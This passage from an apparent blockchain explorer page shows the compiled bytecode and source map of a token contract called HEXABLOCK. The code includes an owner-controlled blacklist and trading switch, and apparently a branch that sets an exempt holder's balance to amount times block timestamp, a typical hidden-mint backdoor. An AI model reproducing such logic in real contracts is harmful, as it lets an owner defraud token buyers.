020808301919091526001600160a01b03871660009081526008909152919091205461112c918490610e17565b6001600160a01b038086166000908152600860209081526040808320949094559186168152600c909152205460ff161580156111715750600754600160a01b900460ff165b156111e1576004546001600160a01b03841660009081526008602052604090205461119c9084610db8565b11156111e15760405162461bcd60e51b81526020600482015260146024820152734d61782077616c6c65742076696f6c617465642160601b604482015260640161082a565b6001600160a01b0384166000908152600b602052604081205460ff1615801561122357506001600160a01b0384166000908152600b602052604090205460ff16155b61122d5782611238565b611238858585611799565b6001600160a01b03851660009081526008602052604090205490915061125e9082610db8565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112b29085815260200190565b60405180910390a3506001949350505050565b6000610a5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e17565b6000838383816001600160a01b0316836001600160a01b031614801561134557506001600160a01b03821660009081526009602052604090205460ff165b1561136e57611354814261185c565b6001600160a01b0384166000908152600860205260409020555b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a166000908152600890915291909120546113c0918790610e17565b6001600160a01b0380891660009081526008602052604080822093909355908816815220546113ef9086610db8565b6001600160a01b0380881660008181526008602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114439089815260200190565b60405180910390a35060019695505050505050565b6018805460ff1916600117905530600090815260086020526040812054600f54600d549192916114999160029161149391908290879061185c565b906118de565b905060006114a783836112c5565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106114e1576114e1611bcb565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155e9190611c36565b8160018151811061157157611571611bcb565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906115b7908590600090869030904290600401611c53565b600060405180830381600087803b1580156115d157600080fd5b505af11580156115e5573d6000803e3d6000fd5b5050600d5447925060009150611609906116009060026118de565b600f54906112c5565b9050600061162b600261149384611493600d548861185c90919063ffffffff16565b9050600061164883611493600e548761185c90919063ffffffff16565b6012546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d806000811461169f576040519150601f19603f3d011682016040523d82523d6000602084013e6116a4565b606091505b506000925050881590506117845760135460115460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015611722573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117479190611cc4565b505060408051858152602081018b90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506018805460ff1916905550505050505050565b60145460009081906001600160a01b038581169116146117bb57600f546117bf565b6010545b905060006117d26064611493868561185c565b306000908152600860205260409020549091506117ef9082610db8565b30600081815260086020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118409085815260200190565b60405180910390a361185284826112c5565b9695505050505050565b60008260000361186e5750600061090f565b600061187a8385611cf2565b9050826118878583611d09565b14610a575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161082a565b6000610a5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361193c5760405162461bcd60e51b815260040161082a91906119e2565b506000610e488486611d09565b8035801515811461195957600080fd5b919050565b60008060006040848603121561197357600080fd5b833567ffffffffffffffff8082111561198b57600080fd5b818601915086601f83011261199f57600080fd5b8135818111156119ae57600080fd5b8760208260051b85010111156119c357600080fd5b6020928301955093506119d99186019050611949565b90509250925092565b600060208083528351808285015260005b81811015611a0f578581018301518582016040015282016119f3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611a4557600080fd5b50565b60008060408385031215611a5b57600080fd5b8235611a6681611a30565b946020939093013593505050565b60008060408385031215611a8757600080fd5b50508035926020909101359150565b600060208284031215611aa857600080fd5b610a5782611949565b600080600060608486031215611ac657600080fd5b8335611ad181611a30565b92506020840135611ae181611a30565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b8135610a5781611a30565b60008060408385031215611b2257600080fd5b8235611b2d81611a30565b9150611b3b60208401611949565b90509250929050565b60008060408385031215611b5757600080fd5b8235611b6281611a30565b91506020830135611b7281611a30565b809150509250929050565b600060208284031215611b8f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c0957611c09611be1565b5060010190565b8082018082111561090f5761090f611be1565b8181038181111561090f5761090f611be1565b600060208284031215611c4857600080fd5b8151610a5781611a30565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca35784516001600160a01b031683529383019391830191600101611c7e565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611cd957600080fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761090f5761090f611be1565b600082611d2657634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ead3f87a5aab3aa38c1c4bf0da988f1e53dbe8ed007cebd0c3bff66c02149b7f64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102605760003560e01c806375f0a87411610144578063bf56b371116100b6578063f1d5f5171161007a578063f1d5f51714610736578063f2fde38b14610756578063f84ba65d14610776578063f887ea4014610796578063fe575a87146107b6578063ffb54a99146107e657600080fd5b8063bf56b37114610684578063ca33e64c1461069a578063ca987b0e146106ba578063da00097d146106d0578063dd62ed3e146106f057600080fd5b80638b42507f116101085780638b42507f146105d05780638da5cb5b1461059357806395d89b411461060057806398118cb41461062e578063a8aa1b3114610644578063a9059cbb1461066457600080fd5b806375f0a8741461052f5780637d1db4a514610567578063807c2d9c1461057d578063893d20e814610593578063896648c1146105b157600080fd5b8063313ce567116101dd5780635d098b38116101a15780635d098b381461046e5780635e562f3b1461048e578063658d4b7f146104ae5780636b67c4df146104ce57806370a08231146104e4578063715018a61461051a57600080fd5b8063313ce567146103c25780633f4218e0146103de57806344de2e4c1461040e5780634a74bb021461042f578063571ac8b01461044e57600080fd5b80630d295980116102245780630d2959801461034257806318160ddd146103625780631df4ccfc1461037757806323b872dd1461038d5780632b112e49146103ad57600080fd5b80630445b6671461026c578063053442fd1461029557806306fdde03146102b7578063095ea7b3146102f25780630b78f9c01461032257600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5061028260195481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b506102b56102b036600461195e565b610800565b005b3480156102c357600080fd5b5060408051808201909152600981526848455841424c4f434b60b81b60208201525b60405161028c91906119e2565b3480156102fe57600080fd5b5061031261030d366004611a48565b6108a8565b604051901515815260200161028c565b34801561032e57600080fd5b506102b561033d366004611a74565b610915565b34801561034e57600080fd5b506102b561035d366004611a96565b61095f565b34801561036e57600080fd5b50600254610282565b34801561038357600080fd5b50610282600f5481565b34801561039957600080fd5b506103126103a8366004611ab1565b61099c565b3480156103b957600080fd5b50610282610a5e565b3480156103ce57600080fd5b506040516012815260200161028c565b3480156103ea57600080fd5b506103126103f9366004611af2565b600b6020526000908152604090205460ff1681565b34801561041a57600080fd5b5060075461031290600160a01b900460ff1681565b34801561043b57600080fd5b5060185461031290610100900460ff1681565b34801561045a57600080fd5b50610312610469366004611af2565b610ab0565b34801561047a57600080fd5b506102b5610489366004611af2565b610abe565b34801561049a57600080fd5b506102b56104a9366004611a96565b610b0a565b3480156104ba57600080fd5b506102b56104c9366004611b0f565b610b4e565b3480156104da57600080fd5b50610282600e5481565b3480156104f057600080fd5b506102826104ff366004611af2565b6001600160a01b031660009081526008602052604090205490565b34801561052657600080fd5b506102b5610bb6565b34801561053b57600080fd5b5060125461054f906001600160a01b031681565b6040516001600160a01b03909116815260200161028c565b34801561057357600080fd5b5061028260035481565b34801561058957600080fd5b5061028260045481565b34801561059f57600080fd5b506000546001600160a01b031661054f565b3480156105bd57600080fd5b5060165461031290610100900460ff1681565b3480156105dc57600080fd5b506103126105eb366004611af2565b600c6020526000908152604090205460ff1681565b34801561060c57600080fd5b50604080518082019091526005815264244845584160d81b60208201526102e5565b34801561063a57600080fd5b50610282600d5481565b34801561065057600080fd5b5060145461054f906001600160a01b031681565b34801561067057600080fd5b5061031261067f366004611a48565b610c2a565b34801561069057600080fd5b5061028260155481565b3480156106a657600080fd5b5060115461054f906001600160a01b031681565b3480156106c657600080fd5b5061028260105481565b3480156106dc57600080fd5b506018546103129062010000900460ff1681565b3480156106fc57600080fd5b5061028261070b366004611b44565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b34801561074257600080fd5b506102b5610751366004611b7d565b610c37565b34801561076257600080fd5b506102b5610771366004611af2565b610c66565b34801561078257600080fd5b506102b5610791366004611b0f565b610d50565b3480156107a257600080fd5b5060135461054f906001600160a01b031681565b3480156107c257600080fd5b506103126107d1366004611af2565b60176020526000908152604090205460ff1681565b3480156107f257600080fd5b506016546103129060ff1681565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161082a90611b96565b60405180910390fd5b60005b828110156108a257816017600086868581811061085557610855611bcb565b905060200201602081019061086a9190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561089b81611bf7565b9050610836565b50505050565b336000818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109039086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461093f5760405162461bcd60e51b815260040161082a90611b96565b600d829055600e8190556109538282610db8565b600f8190556010555050565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161082a90611b96565b6016805460ff1916911515919091179055565b6001600160a01b0383166000908152600a6020908152604080832033845290915281205460001914610a49576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610a24918490610e17565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610a54848484610e51565b90505b9392505050565b6006546001600160a01b0316600090815260086020526040812054610aab906005546001600160a01b0316600090815260086020526040902054610aa590600254906112c5565b906112c5565b905090565b600061090f826000196108a8565b6000546001600160a01b03163314610ae85760405162461bcd60e51b815260040161082a90611b96565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b345760405162461bcd60e51b815260040161082a90611b96565b601680549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314610b785760405162461bcd60e51b815260040161082a90611b96565b6001600160a01b039091166000908152600b60209081526040808320805494151560ff19958616811790915560099092529091208054909216179055565b6000546001600160a01b03163314610be05760405162461bcd60e51b815260040161082a90611b96565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610a57338484610e51565b6000546001600160a01b03163314610c615760405162461bcd60e51b815260040161082a90611b96565b600455565b6000546001600160a01b03163314610c905760405162461bcd60e51b815260040161082a90611b96565b6001600160a01b038116610cf55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161082a90611b96565b6001600160a01b039091166000908152600c60209081526040808320805494151560ff19958616811790915560099092529091208054909216179055565b600080610dc58385611c10565b905083811015610a575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082a565b60008184841115610e3b5760405162461bcd60e51b815260040161082a91906119e2565b506000610e488486611c23565b95945050505050565b60185460009060ff1615610e7157610e6a848484611307565b9050610a57565b6001600160a01b03841660009081526001602052604090205460ff16158015610eb357506001600160a01b03831660009081526001602052604090205460ff16155b15610f015760165460ff16610f015760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161082a565b60035482111580610f2a57506001600160a01b0384166000908152600c602052604090205460ff165b610f6a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161082a565b6014546001600160a01b03163314801590610f88575060185460ff16155b8015610f9b5750601854610100900460ff165b8015610fb857506019543060009081526008602052604090205410155b15610fc557610fc5611458565b601554158015610fe257506014546001600160a01b038481169116145b1561104e576001600160a01b0384166000908152600860205260409020546110455760405162461bcd60e51b81526020600482015260166024820152755a65726f2062616c616e63652076696f6c617465642160501b604482015260640161082a565b61104e43601555565b601654610100900460ff16156110da576001600160a01b03841660009081526017602052604090205460ff161580156110a057506001600160a01b03831660009081526017602052604090205460ff16155b6110da5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b604482015260640161082a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461112c918490610e17565b6001600160a01b038086166000908152600860209081526040808320949094559186168152600c909152205460ff161580156111715750600754600160a01b900460ff165b156111e1576004546001600160a01b03841660009081526008602052604090205461119c9084610db8565b11156111e15760405162461bcd60e51b81526020600482015260146024820152734d61782077616c6c65742076696f6c617465642160601b604482015260640161082a565b6001600160a01b0384166000908152600b602052604081205460ff1615801561122357506001600160a01b0384166000908152600b602052604090205460ff16155b61122d5782611238565b611238858585611799565b6001600160a01b03851660009081526008602052604090205490915061125e9082610db8565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112b29085815260200190565b60405180910390a3506001949350505050565b6000610a5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e17565b6000838383816001600160a01b0316836001600160a01b031614801561134557506001600160a01b03821660009081526009602052604090205460ff165b1561136e57611354814261185c565b6001600160a01b0384166000908152600860205260409020555b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a166000908152600890915291909120546113c0918790610e17565b6001600160a01b0380891660009081526008602052604080822093909355908816815220546113ef9086610db8565b6001600160a01b0380881660008181526008602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114439089815260200190565b60405180910390a35060019695505050505050565b6018805460ff1916600117905530600090815260086020526040812054600f54600d549192916114999160029161149391908290879061185c565b906118de565b905060006114a783836112c5565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106114e1576114e1611bcb565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155e9190611c36565b8160018151811061157157611571611bcb565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906115b7908590600090869030904290600401611c53565b600060405180830381600087803b1580156115d157600080fd5b505af11580156115e5573d6000803e3d6000fd5b5050600d5447925060009150611609906116009060026118de565b600f54906112c5565b9050600061162b600261149384611493600d548861185c90919063ffffffff16565b9050600061164883611493600e548761185c90919063ffffffff16565b6012546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d806000811461169f576040519150601f19603f3d011682016040523d82523d6000602084013e6116a4565b606091505b506000925050881590506117845760135460115460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015611722573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117479190611cc4565b505060408051858152602081018b90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506018805460ff1916905550505050505050565b60145460009081906001600160a01b038581169116146117bb57600f546117bf565b6010545b905060006117d26064611493868561185c565b306000908152600860205260409020549091506117ef9082610db8565b30600081815260086020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118409085815260200190565b60405180910390a361185284826112c5565b9695505050505050565b60008260000361186e5750600061090f565b600061187a8385611cf2565b9050826118878583611d09565b14610a575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161082a565b6000610a5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361193c5760405162461bcd60e51b815260040161082a91906119e2565b506000610e488486611d09565b8035801515811461195957600080fd5b919050565b60008060006040848603121561197357600080fd5b833567ffffffffffffffff8082111561198b57600080fd5b818601915086601f83011261199f57600080fd5b8135818111156119ae57600080fd5b8760208260051b85010111156119c357600080fd5b6020928301955093506119d99186019050611949565b90509250925092565b600060208083528351808285015260005b81811015611a0f578581018301518582016040015282016119f3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611a4557600080fd5b50565b60008060408385031215611a5b57600080fd5b8235611a6681611a30565b946020939093013593505050565b60008060408385031215611a8757600080fd5b50508035926020909101359150565b600060208284031215611aa857600080fd5b610a5782611949565b600080600060608486031215611ac657600080fd5b8335611ad181611a30565b92506020840135611ae181611a30565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b8135610a5781611a30565b60008060408385031215611b2257600080fd5b8235611b2d81611a30565b9150611b3b60208401611949565b90509250929050565b60008060408385031215611b5757600080fd5b8235611b6281611a30565b91506020830135611b7281611a30565b809150509250929050565b600060208284031215611b8f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c0957611c09611be1565b5060010190565b8082018082111561090f5761090f611be1565b8181038181111561090f5761090f611be1565b600060208284031215611c4857600080fd5b8151610a5781611a30565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca35784516001600160a01b031683529383019391830191600101611c7e565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611cd957600080fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761090f5761090f611be1565b600082611d2657634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ead3f87a5aab3aa38c1c4bf0da988f1e53dbe8ed007cebd0c3bff66c02149b7f64736f6c63430008110033

Deployed Bytecode Sourcemap

4951:10164:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6424:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6424:54:0;;;;;;;;14901:209;;;;;;;;;;-1:-1:-1;14901:209:0;;;;;:::i;:::-;;:::i;:::-;;8015:78;;;;;;;;;;-1:-1:-1;8086:5:0;;;;;;;;;;;;-1:-1:-1;;;8086:5:0;;;;8015:78;;;;;;;:::i;8871:216::-;;;;;;;;;;-1:-1:-1;8871:216:0;;;;;:::i;:::-;;:::i;:::-;;;2229:14:1;;2222:22;2204:41;;2192:2;2177:18;8871:216:0;2064:187:1;14519:257:0;;;;;;;;;;-1:-1:-1;14519:257:0;;;;;:::i;:::-;;:::i;14081:98::-;;;;;;;;;;-1:-1:-1;14081:98:0;;;;;:::i;:::-;;:::i;8277:86::-;;;;;;;;;;-1:-1:-1;8349:12:0;;8277:86;;5909:27;;;;;;;;;;;;;;;;10117:370;;;;;;;;;;-1:-1:-1;10117:370:0;;;;;:::i;:::-;;:::i;8707:156::-;;;;;;;;;;;;;:::i;8191:78::-;;;;;;;;;;-1:-1:-1;8191:78:0;;5058:2;3297:36:1;;3285:2;3270:18;8191:78:0;3155:184:1;5725:43:0;;;;;;;;;;-1:-1:-1;5725:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5532:33;;;;;;;;;;-1:-1:-1;5532:33:0;;;;-1:-1:-1;;;5532:33:0;;;;;;6323:40;;;;;;;;;;-1:-1:-1;6323:40:0;;;;;;;;;;;9095:122;;;;;;;;;;-1:-1:-1;9095:122:0;;;;;:::i;:::-;;:::i;13961:112::-;;;;;;;;;;-1:-1:-1;13961:112:0;;;;;:::i;:::-;;:::i;14788:95::-;;;;;;;;;;-1:-1:-1;14788:95:0;;;;;:::i;:::-;;:::i;14187:154::-;;;;;;;;;;-1:-1:-1;14187:154:0;;;;;:::i;:::-;;:::i;5869:31::-;;;;;;;;;;;;;;;;8457:103;;;;;;;;;;-1:-1:-1;8457:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8540:18:0;8523:7;8540:18;;;:9;:18;;;;;;;8457:103;4544:148;;;;;;;;;;;;;:::i;6031:30::-;;;;;;;;;;-1:-1:-1;6031:30:0;;;;-1:-1:-1;;;;;6031:30:0;;;;;;-1:-1:-1;;;;;4080:32:1;;;4062:51;;4050:2;4035:18;6031:30:0;3916:203:1;5130:42:0;;;;;;;;;;;;;;;;5179:40;;;;;;;;;;;;;;;;8371:78;;;;;;;;;;-1:-1:-1;8423:7:0;4395:6;-1:-1:-1;;;;;4395:6:0;8371:78;8707:156;6202:32;;;;;;;;;;-1:-1:-1;6202:32:0;;;;;;;;;;;5775:47;;;;;;;;;;-1:-1:-1;5775:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8101:82;;;;;;;;;;-1:-1:-1;8174:7:0;;;;;;;;;;;;-1:-1:-1;;;8174:7:0;;;;8101:82;;5831:31;;;;;;;;;;;;;;;;6104:19;;;;;;;;;;-1:-1:-1;6104:19:0;;;;-1:-1:-1;;;;;6104:19:0;;;9576:156;;;;;;;;;;-1:-1:-1;9576:156:0;;;;;:::i;:::-;;:::i;6132:25::-;;;;;;;;;;;;;;;;5988:36;;;;;;;;;;-1:-1:-1;5988:36:0;;;;-1:-1:-1;;;;;5988:36:0;;;5943;;;;;;;;;;;;;;;;6370:45;;;;;;;;;;-1:-1:-1;6370:45:0;;;;;;;;;;;8568:131;;;;;;;;;;-1:-1:-1;8568:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;8669:19:0;;;8652:7;8669:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8568:131;13852:101;;;;;;;;;;-1:-1:-1;13852:101:0;;;;;:::i;:::-;;:::i;4700:244::-;;;;;;;;;;-1:-1:-1;4700:244:0;;;;;:::i;:::-;;:::i;14349:162::-;;;;;;;;;;-1:-1:-1;14349:162:0;;;;;:::i;:::-;;:::i;6070:27::-;;;;;;;;;;-1:-1:-1;6070:27:0;;;;-1:-1:-1;;;;;6070:27:0;;;6241:45;;;;;;;;;;-1:-1:-1;6241:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6164:31;;;;;;;;;;-1:-1:-1;6164:31:0;;;;;;;;14901:209;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;;;;;;;;;15002:9:::1;14997:106;15013:20:::0;;::::1;14997:106;;;15085:6;15055:13;:27;15069:9;;15079:1;15069:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15055:27:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;15055:27:0;:36;;-1:-1:-1;;15055:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15035:3:::1;::::0;::::1;:::i;:::-;;;14997:106;;;;14901:209:::0;;;:::o;8871:216::-;8975:10;8946:4;8963:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;8963:32:0;;;;;;;;;;:41;;;9020:37;8946:4;;8963:32;;9020:37;;;;8998:6;160:25:1;;148:2;133:18;;14:177;9020:37:0;;;;;;;;-1:-1:-1;9075:4:0;8871:216;;;;;:::o;14519:257::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;14610:12:::1;:24:::0;;;14645:12:::1;:30:::0;;;14699::::1;14625:9:::0;14660:15;14699:16:::1;:30::i;:::-;14688:8;:41:::0;;;14740:17:::1;:28:::0;-1:-1:-1;;14519:257:0:o;14081:98::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;14148:11:::1;:23:::0;;-1:-1:-1;;14148:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14081:98::o;10117:370::-;-1:-1:-1;;;;;10238:19:0;;10217:4;10238:19;;;:11;:19;;;;;;;;10258:10;10238:31;;;;;;;;-1:-1:-1;;10238:52:0;10234:188;;10341:69;;;;;;;;;;;-1:-1:-1;;;10341:69:0;;;;;;;;-1:-1:-1;;;;;10341:19:0;;-1:-1:-1;10341:19:0;;;:11;:19;;;;;10361:10;10341:31;;;;;;;;;;:69;;10377:6;;10341:35;:69::i;:::-;-1:-1:-1;;;;;10307:19:0;;;;;;:11;:19;;;;;;;;10327:10;10307:31;;;;;;;:103;10234:188;10439:40;10453:6;10461:9;10472:6;10439:13;:40::i;:::-;10432:47;;10117:370;;;;;;:::o;8707:156::-;8842:11;;-1:-1:-1;;;;;8842:11:0;8760:7;8540:18;;;:9;:18;;;;;;8787:68;;8814:11;;-1:-1:-1;;;;;8814:11:0;8523:7;8540:18;;;:9;:18;;;;;;8787:40;;:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;8780:75;;8707:156;:::o;9095:122::-;9150:4;9174:35;9182:7;-1:-1:-1;;9174:7:0;:35::i;13961:112::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;14038:15:::1;:27:::0;;-1:-1:-1;;;;;;14038:27:0::1;-1:-1:-1::0;;;;;14038:27:0;;;::::1;::::0;;;::::1;::::0;;13961:112::o;14788:95::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;14852:13:::1;:23:::0;;;::::1;;;;-1:-1:-1::0;;14852:23:0;;::::1;::::0;;;::::1;::::0;;14788:95::o;14187:154::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14270:19:0;;::::1;;::::0;;;:11:::1;:19;::::0;;;;;;;:28;;;::::1;;-1:-1:-1::0;;14270:28:0;;::::1;::::0;::::1;::::0;;;14309:7:::1;:15:::0;;;;;;:24;;;;::::1;;::::0;;14187:154::o;4544:148::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;4651:1:::1;4635:6:::0;;4614:40:::1;::::0;-1:-1:-1;;;;;4635:6:0;;::::1;::::0;4614:40:::1;::::0;4651:1;;4614:40:::1;4682:1;4665:19:::0;;-1:-1:-1;;;;;;4665:19:0::1;::::0;;4544:148::o;9576:156::-;9656:4;9680:44;9694:10;9706:9;9717:6;9680:13;:44::i;13852:101::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;13924:10:::1;:21:::0;13852:101::o;4700:244::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4789:22:0;::::1;4781:73;;;::::0;-1:-1:-1;;;4781:73:0;;5898:2:1;4781:73:0::1;::::0;::::1;5880:21:1::0;5937:2;5917:18;;;5910:30;5976:34;5956:18;;;5949:62;-1:-1:-1;;;6027:18:1;;;6020:36;6073:19;;4781:73:0::1;5696:402:1::0;4781:73:0::1;4891:6;::::0;;4870:38:::1;::::0;-1:-1:-1;;;;;4870:38:0;;::::1;::::0;4891:6;::::1;::::0;4870:38:::1;::::0;::::1;4919:6;:17:::0;;-1:-1:-1;;;;;;4919:17:0::1;-1:-1:-1::0;;;;;4919:17:0;;;::::1;::::0;;;::::1;::::0;;4700:244::o;14349:162::-;4457:6;;-1:-1:-1;;;;;4457:6:0;3766:10;4457:22;4449:67;;;;-1:-1:-1;;;4449:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14436:23:0;;::::1;;::::0;;;:15:::1;:23;::::0;;;;;;;:32;;;::::1;;-1:-1:-1::0;;14436:32:0;;::::1;::::0;::::1;::::0;;;14479:7:::1;:15:::0;;;;;;:24;;;;::::1;;::::0;;14349:162::o;2542:179::-;2600:7;;2632:5;2636:1;2632;:5;:::i;:::-;2620:17;;2661:1;2656;:6;;2648:46;;;;-1:-1:-1;;;2648:46:0;;6435:2:1;2648:46:0;;;6417:21:1;6474:2;6454:18;;;6447:30;6513:29;6493:18;;;6486:57;6560:18;;2648:46:0;6233:351:1;2873:190:0;2959:7;2995:12;2987:6;;;;2979:29;;;;-1:-1:-1;;;2979: